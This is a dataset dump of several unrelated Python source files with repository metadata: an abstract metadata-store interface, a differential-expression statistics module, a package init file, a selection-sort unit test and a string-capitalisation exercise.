specified, will get all fields. Returns ------- meta : dict Tensor chunk's meta. """ @abstractmethod async def del_dataframe_meta(self, object_id: str): """ Delete DataFrame's meta. Parameters ---------- object_id : str Object id. """ @abstractmethod async def set_dataframe_chunk_meta(self, object_id: str, shape: Tuple[int] = None, dtypes_value: DtypesValue = None, index_value: IndexValue = None, index: Tuple[int] = None, physical_size: int = None, workers: List[str] = None, extra: Dict = None): """ Set DataFrame chunk's meta. Parameters ---------- object_id : str Object id. shape : tuple DataFrame chunk's shape. dtypes_value DataFrame chunk's dtypes value. index_value DataFrame chunk's index value. index : tuple DataFrame chunk's index in which each number means the position on each axis. physical_size : int Raw physical size. workers : list Workers which owns the data. extra : dict Extra information. """ @abstractmethod async def get_dataframe_chunk_meta(self, object_id: str, fields: List[str] = None) -> Dict[str, Any]: """ Get DataFrame chunk's meta. Parameters ---------- object_id : str Object id. fields : list Fields to filter, if not specified, will get all fields. Returns ------- meta : dict DataFrame chunk's meta. """ @abstractmethod async def del_dataframe_chunk_meta(self, object_id: str): """ Delete DataFrame chunk's meta. Parameters ---------- object_id : str Object id. """ @abstractmethod async def set_series_meta(self, object_id: str, shape: Tuple[int] = None, dtype: np.dtype = None, index_value: IndexValue = None, name: Any = None, nsplits: Tuple[Tuple[int]] = None, physical_size: int = None, extra: Dict = None): """ Set Series' meta. Parameters ---------- object_id : str Object id. shape : tuple Series' shape. dtype Series' dtype index_value Series' index value. name Series' name nsplits Tuple of tuple of ints. physical_size Raw physical size. extra: dict Extra information. """ @abstractmethod async def get_series_meta(self, object_id: str, fields: List[str] = None) -> Dict[str, Any]: """ Get series' meta. Parameters ---------- object_id : str Object id. fields : list Fields to filter, if not specified, will get all fields. Returns ------- meta : dict Series' meta. """ @abstractmethod async def del_series_meta(self, object_id: str): """ Delete series' meta. Parameters ---------- object_id : str Object id. """ @abstractmethod async def set_series_chunk_meta(self, object_id: str, shape: Tuple[int] = None, dtype: np.dtype = None, index_value: IndexValue = None, name: Any = None, index: Tuple[int] = None, physical_size: int = None, workers: List[str] = None, extra: Dict = None): """ Set series chunk's meta. Parameters ---------- object_id : str Object id. shape : tuple Series chunk's shape. dtype Series chunk's dtype. index_value Series chunk's index value. name Name of series chunk. index : tuple Series chunk's index in which each number means the position on each axis. physical_size : int Raw physical size. workers : list Workers which owns the data. extra : dict Extra information. """ @abstractmethod async def get_series_chunk_meta(self, object_id: str, fields: List[str] = None) -> Dict[str, Any]: """ Get series chunk's meta. Parameters ---------- object_id : str Object id. fields : list Fields to filter, if not specified, will get all fields. Returns ------- meta : dict Series chunk's meta. """ @abstractmethod async def del_series_chunk_meta(self, object_id: str): """ Delete series chunk's meta. Parameters ---------- object_id : str Object id. """ @abstractmethod async def set_index_meta(self, object_id: str, shape: Tuple[int] = None, dtype: np.dtype = None, index_value: IndexValue = None, name: Any = None, nsplits: Tuple[Tuple[int]] = None, physical_size: int = None, extra: Dict = None): """ Set index meta. Parameters ---------- object_id : str Object id. shape : tuple Index's shape. dtype Index's dtype. index_value Index's index value. name Index's name. nsplits Tuple of tuple of ints. physical_size: int Raw physical size. extra: dict Extra information. """ @abstractmethod async def get_index_meta(self, object_id: str, fields: List[str] = None) -> Dict[str, Any]: """ Get index's meta. Parameters ---------- object_id : str Object id. fields : list Fields to filter, if not specified, will get all fields. Returns ------- meta : dict Index's meta. """ @abstractmethod async def del_index_meta(self, object_id: str): """ Delete index's meta. Parameters ---------- object_id : str Object id. """ @abstractmethod async def set_index_chunk_meta(self, object_id: str, shape: Tuple[int] = None, dtype: np.dtype = None, index_value: IndexValue = None, name: Any = None, index: Tuple[int] = None, physical_size: int = None, workers: List[str] = None, extra: Dict = None): """ Set index chunk's meta. Parameters ---------- object_id : str Object id. shape : tuple Index chunk's shape. dtype Index chunk's dtype index_value Index chunk's index_value name Index chunk's name. index : tuple Index chunk's index in which each number means the position on each axis. physical_size : int Raw physical size. workers : list Workers which owns the data. extra: dict Extra information. """ @abstractmethod async def get_index_chunk_meta(self, object_id: str, fields: List[str] = None) -> Dict[str, Any]: """ Get index chunk's meta. Parameters ---------- object_id : str Object id. fields : list Fields to filter, if not specified, will get all fields. Returns ------- meta : dict Index chunk's meta. """ @abstractmethod async def del_index_chunk_meta(self, object_id: str): """ Delete index chunk's meta. Parameters ---------- object_id : str Object id. """ @abstractmethod async def set_object_meta(self, object_id: str = None, physical_size: int = None, nsplits: Tuple[Tuple[int]] = None, extra: Dict = None): """ Set object's meta. Parameters ---------- object_id : str Object id. nsplits Tuple of tuple of ints. physical_size : int Raw physical size. extra : dict Extra information. """ @abstractmethod async def get_object_meta(self, object_id: str, fields: List[str] = None) -> Dict[str, Any]: """ Get object's meta. Parameters ---------- object_id : str Object id. fields : list Fields to filter, if not specified, will get all fields. Returns ------- meta : dict Object's meta. """ @abstractmethod async def del_object_meta(self, object_id: str): """ Delete object meta. Parameters ---------- object_id : str Object id. """ @abstractmethod async def set_object_chunk_meta(self, object_id: str, index: Tuple[int] = None, physical_size: int = None, workers: List[str] = None, extra: Dict = None): """ Set object chunk's meta. Parameters ---------- object_id : str Object id. index : tuple Object chunk's index in which each number means the position on each axis. physical_size : int Raw physical size. workers : list Workers which owns the data. extra: dict Extra information. """ @abstractmethod async def get_object_chunk_meta(self, object_id: str, fields: List[str] = None) -> Dict[str, Any]: """ Get object chunk's meta. Parameters ---------- object_id : str Object id. fields : list Fields to filter, if not specified, will get all fields. Returns ------- meta : dict Index chunk's meta. """ @abstractmethod async def del_object_chunk_meta(self, object_id: str): """ Delete object chunk's meta. Parameters ---------- object_id : str Object id. """ _meta_store_types: Dict[str, Type[AbstractMetaStore]] = dict() def register_meta_store(meta_store: Type[AbstractMetaStore]): _meta_store_types[meta_store.name] = meta_store return meta_store def get_meta_store(meta_store_name: str) -> Type[AbstractMetaStore]: return _meta_store_types[meta_store_name]

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0.056042

0.814594

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null

0

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1

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null

0

4

c08a079809474955aa9b2345ecbde21c1125f4c3

6,344

py

Python

mudi/diffexp/de.py

getzlab/mudi

eda170119708e59920c23a03834af915ecca24ce

[ "MIT" ]

1

2021-11-04T00:08:00.000Z

mudi/diffexp/de.py

getzlab/mudi

eda170119708e59920c23a03834af915ecca24ce

[ "MIT" ]

null

mudi/diffexp/de.py

getzlab/mudi

eda170119708e59920c23a03834af915ecca24ce

[ "MIT" ]

null

import numpy as np import pandas as pd import os import sys """ Storey Q-Values - https://github.com/StoreyLab/qvalue -------------------- Python Wrapper Author: Francois Aguet https://github.com/broadinstitute/tensorqtl/blob/master/tensorqtl/rfunc.py """ def qvalue(p, lambda_qvalue=None): """Wrapper for qvalue::qvalue""" import rpy2 from rpy2.robjects.packages import importr from collections import Iterable qvalue = importr("qvalue") rp = rpy2.robjects.vectors.FloatVector(p) if lambda_qvalue is None: q = qvalue.qvalue(rp) else: if not isinstance(lambda_qvalue, Iterable): lambda_qvalue = [lambda_qvalue] rlambda = rpy2.robjects.vectors.FloatVector(lambda_qvalue) q = qvalue.qvalue(rp, **{'lambda':rlambda}) qval = np.array(q.rx2('qvalues')) pi0 = np.array(q.rx2('pi0'))[0] return qval, pi0 def t_test(mat: pd.DataFrame, group_s: pd.Series, equal_var: bool = False) -> pd.DataFrame: """ t-test --------------------- Args: * mat: pd.DataFrame (genes x samples) * group_s: series of groupings * equal_var: wald-ttest (False) """ from scipy import stats from statsmodels.stats.multitest import multipletests mat = mat[group_s.index] def _collapser(x, index, columns, name): _df = pd.DataFrame(x, index=index, columns=columns).reset_index() _id = _df.columns[0] return pd.melt( pd.DataFrame(x, index=index, columns=columns).reset_index(), id_vars=_id, ).set_index(_id).rename(columns={'variable':group_s.name,'value':name}) groups = np.array(group_s) X = mat.values n_groups = np.unique(groups).shape[0] n_genes = X.shape[0] # Init np.arrays t_stat = np.zeros((n_genes, n_groups)) pval = np.zeros((n_genes, n_groups)) pval_adj = np.zeros((n_genes, n_groups)) qval = np.zeros((n_genes, n_groups)) x_in = np.zeros((n_genes, n_groups)) x_out = np.zeros((n_genes, n_groups)) for idx,group in enumerate(np.unique(groups)): mask = groups==group if sum(mask) > 1: X_in = X[:,mask] X_out = X[:,~mask] t_stat[:,idx], pval[:,idx] = stats.ttest_ind(X_in, X_out, axis=1, equal_var=equal_var) _,pval_adj[:,idx],_,_ = multipletests( pval[:,idx], alpha=0.05, method='fdr_bh', is_sorted=False, returnsorted=False ) qval[:,idx],_ = qvalue(pval[:,idx]) x_in[:,idx] = np.mean(X_in,1) x_out[:,idx] = np.mean(X_out,1) # Collapse to dataframe de_df = pd.concat([ _collapser(x_in, mat.index, np.unique(groups), 'x_in'), _collapser(x_out, mat.index, np.unique(groups), 'x_out')['x_out'], _collapser(t_stat, mat.index, np.unique(groups), 't')['t'], _collapser(pval, mat.index, np.unique(groups), 'pval')['pval'], _collapser(pval_adj, mat.index, np.unique(groups), 'pval_adj')['pval_adj'], _collapser(qval, mat.index, np.unique(groups), 'qval')['qval'] ],1) # Fold-change de_df['diff'] = de_df['x_in'] - de_df['x_out'] # Signed FC * -log10(qval) de_df['gsea_rank'] = de_df['diff'] * -np.log10(de_df['pval_adj']) return de_df def mannwhitneyu(mat: pd.DataFrame, group_s: pd.Series) -> pd.DataFrame: """ mannwhitneyu --------------------- Args: * mat: pd.DataFrame (genes x samples) * group_s: series of groupings """ from tqdm import tqdm from scipy import stats from statsmodels.stats.multitest import multipletests from sys import stdout mat = mat[group_s.index] def _collapser(x, index, columns, name): _df = pd.DataFrame(x, index=index, columns=columns).reset_index() _id = _df.columns[0] return pd.melt( pd.DataFrame(x, index=index, columns=columns).reset_index(), id_vars=_id, ).set_index(_id).rename(columns={'variable':group_s.name,'value':name}) groups = np.array(group_s) X = mat.values n_groups = np.unique(groups).shape[0] n_genes = X.shape[0] # Init np.arrays u_stat = np.zeros((n_genes, n_groups)) pval = np.zeros((n_genes, n_groups)) pval_adj = np.zeros((n_genes, n_groups)) qval = np.zeros((n_genes, n_groups)) x_in = np.zeros((n_genes, n_groups)) x_out = np.zeros((n_genes, n_groups)) for idx,group in enumerate(np.unique(groups)): stdout.write("\r{} of {}".format(idx+1, n_groups)) mask = groups==group if sum(mask) > 1: X_in = X[:,mask] X_out = X[:,~mask] for gn in range(X_in.shape[0]): #u_stat[gn,idx], pval[gn,idx] = stats.mannwhitneyu(X_in[gn], X_out[gn]) u_stat[gn,idx], pval[gn,idx] = stats.mannwhitneyu(X_in[gn], X_out[gn], alternative='two-sided') _,pval_adj[:,idx],_,_ = multipletests( pval[:,idx], alpha=0.05, method='fdr_bh', is_sorted=False, returnsorted=False ) try: qval[:,idx],_ = qvalue(fgsea_df['pval'].values) except: try: qval[:,idx],_ = qvalue(fgsea_df['pval'].values, lambda_qvalue=0.5) except: qval[:,idx] = None x_in[:,idx] = np.mean(X_in,1) x_out[:,idx] = np.mean(X_out,1) # Collapse to dataframe de_df = pd.concat([ _collapser(x_in, mat.index, np.unique(groups), 'x_in'), _collapser(x_out, mat.index, np.unique(groups), 'x_out')['x_out'], _collapser(u_stat, mat.index, np.unique(groups), 'u')['u'], _collapser(pval, mat.index, np.unique(groups), 'pval')['pval'], _collapser(pval_adj, mat.index, np.unique(groups), 'pval_adj')['pval_adj'], _collapser(qval, mat.index, np.unique(groups), 'qval')['qval'] ],1) # Fold-change de_df['diff'] = de_df['x_in'] - de_df['x_out'] # Signed FC * -log10(qval) de_df['gsea_rank'] = de_df['diff'] * -np.log10(de_df['pval_adj']) return de_df

33.389474

111

0.56715

858

6,344

3.991841

0.171329

0.02219

0.065401

0.045547

0.733431

0.718248

0.701898

0.682628

0

0.00934

0.274275

6,344

189

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0

null

0

1

0

1

0

null

0

4

c0bd9c14e14e0af82c05ae1470086ee12594427a

121

py

Python

clinja/__init__.py

loiccoyle/clinja

e48a15fbec005ac84711983aa70838faf40bc0bc

[ "MIT" ]

null

clinja/__init__.py

loiccoyle/clinja

e48a15fbec005ac84711983aa70838faf40bc0bc

[ "MIT" ]

null

clinja/__init__.py

loiccoyle/clinja

e48a15fbec005ac84711983aa70838faf40bc0bc

[ "MIT" ]

null

from .clinja import ClinjaDynamic, ClinjaStatic __version__ = "1.1.0" __author__ = "Loic Coyle <loic.coyle@hotmail.fr>"

24.2

49

0.760331

16

121

5.25

0.8125

0.214286

0

0.028037

0.115702

121

4

50

30.25

0.757009

0

0.322314

0.190083

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false

0

0.333333

0

0.333333

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1

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null

1

0

1

0

null

0

1

0

4

c0bf51e8902c81e22f0300c191604437b4dc0516

558

py

Python

sort_algorithms/test_selection_sort.py

prekolna/AlgorithmsGreatestHits

7cdb60825b6e36abbffd5bdba480c3c70bc2c413

[ "MIT" ]

1

2017-04-07T03:57:04.000Z

sort_algorithms/test_selection_sort.py

doug-wade/AlgorithmsGreatestHits

7cdb60825b6e36abbffd5bdba480c3c70bc2c413

[ "MIT" ]

null

sort_algorithms/test_selection_sort.py

doug-wade/AlgorithmsGreatestHits

7cdb60825b6e36abbffd5bdba480c3c70bc2c413

[ "MIT" ]

null

import random import unittest from .selection_sort import selection_sort, find_min class SelectionSortTests(unittest.TestCase): def setUp(self): self.list_of_ints = [] for i in range(5000): next_int = random.randint(0,10000) self.list_of_ints.append(next_int) def test_find_min(self): self.assertEqual(min(self.list_of_ints), self.list_of_ints[find_min(0, self.list_of_ints)]) def test_selection_sort(self): self.assertEqual(sorted(self.list_of_ints), selection_sort(self.list_of_ints))

32.823529

99

0.715054

82

558

4.560976

0.378049

0.149733

0.187166

0.262032

0

0.024229

0.18638

558

16

100

34.875

0.799559

0

0.153846

1

0.230769

false

0

0.230769

0

0.538462

0

null

0

1

0

null

0

1

0

1

0

4

c0c193c47782061d843acd1d293f2501208e9b78

182

py

Python

hackerrank/Python/Strings/Capitalize.py

JLJTECH/TutorialTesting

f2dbbd49a86b3b086d0fc156ac3369fb74727f86

[ "MIT" ]

null

hackerrank/Python/Strings/Capitalize.py

JLJTECH/TutorialTesting

f2dbbd49a86b3b086d0fc156ac3369fb74727f86

[ "MIT" ]

null

hackerrank/Python/Strings/Capitalize.py

JLJTECH/TutorialTesting

f2dbbd49a86b3b086d0fc156ac3369fb74727f86

[ "MIT" ]

null

#Capitalize the first letter of each word from stdin. Strip whitespace and ignore strings starting with numbers. print(" ".join((s.capitalize() for s in input().strip().split(" "))))

91

112

0.736264

27

182

4.962963

0.888889

0

0.126374

182

2

113

91

0.842767

0.60989

0

0.028169

0

1

0

true

0

1

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null

0

1

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null

0

1

0

1

0

4